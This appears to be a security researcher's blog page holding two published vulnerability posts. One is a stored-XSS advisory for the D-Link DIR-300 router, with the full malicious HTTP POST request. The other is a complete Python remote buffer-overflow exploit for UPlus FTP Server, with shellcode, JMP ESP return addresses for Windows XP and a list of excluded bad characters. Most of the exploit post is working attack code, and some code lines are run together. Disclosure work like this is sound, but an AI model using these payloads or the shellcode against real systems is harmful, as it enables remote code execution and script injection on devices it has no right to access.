Found one (new) vulnerability in D-link DIR-300 router.
It is posted here:
http://packetstormsecurity.com/files/author/7832/
# Requirement
1. HTTP(s) Access to router
2. Ability to make configuration changes
# Access vector
Remote
# Impact
Persistent XSS / Script execution
# Vulnerable platform
D-Link DIR-300 Firmware v1.3
# Steps to reproduce
1. Log in to D-link router.
2. Setup -> LAN Setup -> DHCP Client List
In here, we can add information of DHCP clients (DHCP reservation) - hostname, IP address, and MAC. These 3 fields do not validate input.
Scripts can be submitted as input values and these then get stored as part of configuration.
Once the page is re-loaded / accessed, these values will get populated from the configuration and the JS gets executed.
# HTTP Request:
Host=192.168.0.1
User-Agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:18.0)
Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-us,en;q=0.7,zh-cn;q=0.3
Accept-Encoding=gzip, deflate
DNT=1
Content-Type=application/x-www-form-urlencoded; charset=UTF-8
Referer=http://192.168.0.1/bsc_lan.php
Content-Length=949
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
POSTDATA =TEMP_NODES=/runtime/post/session_1&data=4&start=1&d_1_0=0&d_1_1=box1<script>alert("XSS_from_computername")</script>&d_1_2=192.168.0.104<script>alert("XSS_from_IP")</script>&d_1_3=38%3A16%3AD1%3A17%3A3A%3A00<script>alert("XSS_from_mac")</script>&d_2_0=&d_2_1=&d_2_2=&d_2_3=&d_3_0=&d_3_1=&d_3_2=&d_3_3=&d_4_0=&d_4_1=&d_4_2=&d_4_3=&d_5_0=&d_5_1=&d_5_2=&d_5_3=&d_6_0=&d_6_1=&d_6_2=&d_6_3=&d_7_0=&d_7_1=&d_7_2=&d_7_3=&d_8_0=&d_8_1=&d_8_2=&d_8_3=&d_9_0=&d_9_1=&d_9_2=&d_9_3=&d_10_0=&d_10_1=&d_10_2=&d_10_3=&d_11_0=&d_11_1=&d_11_2=&d_11_3=&d_12_0=&d_12_1=&d_12_2=&d_12_3=&d_13_0=&d_13_1=&d_13_2=&d_13_3=&d_14_0=&d_14_1=&d_14_2=&d_14_3=&d_15_0=&d_15_1=&d_15_2=&d_15_3=&d_16_0=&d_16_1=&d_16_2=&d_16_3=&d_17_0=&d_17_1=&d_17_2=&d_17_3=&d_18_0=&d_18_1=&d_18_2=&d_18_3=&d_19_0=&d_19_1=&d_19_2=&d_19_3=&d_20_0=&d_20_1=&d_20_2=&d_20_3=&d_21_0=&d_21_1=&d_21_2=&d_21_3=&d_22_0=&d_22_1=&d_22_2=&d_22_3=&d_23_0=&d_23_1=&d_23_2=&d_23_3=&d_24_0=&d_24_1=&d_24_2=&d_24_3=&d_25_0=&d_25_1=&d_25_2=&d_25_3=&end=25
# HTTP Response
# Comments
The requirements mentioned in this advisory are just the steps for reproducing this test in a lab.
An attacker may instead utilize other known vulnerabilities such as unauthenticated remote code execution or CSRF to submit malicious input that will eventually trigger XSS when a user accesses the router's web interface. Hence, I don't consider this as 'administratively inflicted' like the packetstorm publisher has noted in description.
Also from a VA perspective, XSS is a distinct security flaw than OS command injection or CSRF or broken authentication. Each of these may have different associated severity based on the environment setup & assets, but nevertheless, all impacting issues should be reported.
+++++
Cheers!
Showing posts with label Exploit Published. Show all posts
Showing posts with label Exploit Published. Show all posts
Wednesday, February 6, 2013
Wednesday, July 28, 2010
UPlus FTP Server v1.7.1.0.1 remote buffer overflow exploit published
Hi All,
Posted another remote code execution exploit on Exploit-db an hour back. It is published now :-)
###
#!/usr/bin/python
importsocket,sys,base64
"""
#
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC
Discovered by : Karn Ganeshen
Author : Karn Ganeshen / corelanc0d3r
KarnGaneshen [aT] gmail [d0t] com
http://ipositivesecurity.blogspot.com
Greetz out to: corelanc0d3r
http://corelan.be:8800/index.php
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
"""
# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Date Found : July 21, 2010
# Vendor notified on July 23, 2010
# Issue fixed and new version 1.7.1.02 released on July 23, 2010
iflen(sys.argv) !=5:
"Usage: ./poc.py <Target IP> <Port> <User> <Password>"
sys.exit(1)
target=sys.argv[1]
port=int(sys.argv[2])
user=sys.argv[3]
pwd=sys.argv[4]
auth=base64.b64encode(user+":"+pwd)
buf="A"*1963
buf+="\x90"*179
# 165 bytes Calc.exe shellcode / badchars identified and excluded
buf+=("\xd9\xca\x29\xc9\xb1\x24\xbf\x3f\xc7\x66\x9f\xd9\x74\x24\xf4\x5e"
"\x31\x7e\x17\x03\x7e\x17\x83\xf9\xc3\x84\x6a\xf9\x24\x0c\x95\x01"
"\xb5\x06\xd0\x3d\x3e\x64\xde\x45\x41\x7a\x6b\xfa\x59\x0f\x33\x24"
"\x5b\xe4\x85\xaf\x6f\x71\x14\x41\xbe\x45\x8e\x31\x45\x85\xc5\x4e"
"\x87\xcc\x2b\x51\xc5\x3a\xc7\x6a\x9d\x98\x2c\xf9\xf8\x6a\x73\x25"
"\x02\x86\xea\xae\x08\x13\x78\xef\x0c\xa2\x95\x84\x31\x2f\x68\x71"
"\xc0\x73\x4f\x81\x10\xba\x4f\xed\x1d\xfd\x7f\x68\xe1\x86\x73\xf9"
"\xa2\x7a\x07\x8d\x3e\x2e\x9c\x05\x37\xdb\xaa\x5e\xc7\xab\xad\x60"
"\xc8\x40\xc5\x5c\x97\x67\xe0\xfc\x71\x01\xf4\x7f\xbd\x6a\x55\x17"
"\xce\x07\x51\xb8\x46\x80\xa4\xcc\x99\xe7\xa7\x37\xc6\x66\x34\xd4"
"\x27\x0c\xbc\x7f\x38")
buf+="\x90"*15
#[ XP SP2 ] -> "\x78\x16\xF3\x77" #0x77F31678 JMP ESP
buf+="\x78\x16\xF3\x77"
#[ XP SP3 ] -> "\x3F\x71\x49\x7E" #0x7E49713F JMP ESP
#buf+="\x3F\x71\x49\x7E"
buf+="\x90"*30
buf+="\x66\x05\x7A\x03"#ADD AX,037A
buf+="\x66\x05\x7A\x03"#ADD AX,037A
buf+="\x66\x05\x7A\x03"#ADD AX,037A
buf+="\x50\xc3"#PUSH EAX + RET
"[+] Launching exploit against "+target+"..."
head="GET /list.html?path="+buf+" HTTP/1.1 \r\n"
head+="Host: \r\n"
head+="Authorization: Basic "+auth+"\r\n"
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, port))
s.send(head+"\r\n")
"[!] Payload sent..."
s.close()
except:"[x] Error!"
I actually missed out specifying the bad chars which I excluded while generating the payload. So here they are:
\x0a \x20 \x25 \x26
I should be able to post a video showing how this exploit was prepared & tested. Watch out on this space!
Shoutz to corelanc0d3r! :)
You may also check it out here:
Best Regards.
Subscribe to:
Posts (Atom)

